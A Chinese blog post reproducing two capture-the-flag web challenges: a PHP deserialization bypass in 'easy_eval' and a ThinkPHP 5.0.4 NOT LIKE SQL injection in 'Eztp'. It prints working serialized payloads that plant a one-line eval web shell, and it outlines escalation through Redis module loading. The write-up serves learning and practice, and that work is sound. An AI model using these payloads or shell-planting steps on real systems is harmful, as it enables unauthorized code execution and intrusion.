天翼杯复现

easy_eval

进入首先是一个反序列化加绕过,这里可以用大小写绕过和基类绕过,wakeup改属性就行

将正常payload

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:64:"file_put_contents('./shell.php','<?php eval($_POST["cmd"]);?>');";}}

改为

O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:64:"file_put_contents('./shell.php','<?php eval($_POST["cmd"]);?>');";}}

网上一些师傅还提供了基类的绕过

O:8:"stdClass":2:{s:4:"test";O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}}

还可以省略末尾的大括号,call提到wakeup前绕过

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}

用蚁剑脸上之后终端是没有命令权限的,但是可以看到swp文件,vim看一下发现和redis数据库有关,并且给了密码。

在这里插入图片描述

开启了redis就很显然了,用给的密码认证连接redis,上传.so文件,moudle加载执行命令即可。

Eztp

thinkPHP源码审计,考的是5.0.4版本select方法漏洞

原理可参考https://mochazz.github.io/2019/03/23/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8BSQL%E6%B3%A8%E5%85%A54/#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83

这里简单复现了一下漏洞,入口index代码如下。ThinkPHP5.0版本默认的变量修饰符是/s,这里/a意思是如果你要获取的数据为数组,需要用/a才能转换

在这里插入图片描述

先进行数据库初始化,然后进入where函数

在这里插入图片描述

出where方法后$options里多了两个数组。

之后进入关键的select函数,关键在生成sql语句的过程。在 select 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据。我们跟进这个 where 分析函数,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数。

在这里插入图片描述

漏洞产生地方在于检测操作符的过程,这里可以看到检测。当$this->exp[$exp]中含有not like时会将用户控制的变量直接进行赋值。

image-20211011212308025

image-20211011212902036

后面就构造成了我们想要的payload,拿一张网上的图

img

正是由于 ThinkPHP 官方的 filterValue 方法漏过滤了 NOT LIKE ,同时 MYSQL 逻辑操作由用户变量控制,使得这一漏洞可以被利用。

攻击结果

在这里插入图片描述

但是nss靶场的题目环境似乎有点问题,注入进不到后台。直接看后面的反序列化吧

参考:https://www.anquanke.com/post/id/251318#h2-1


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!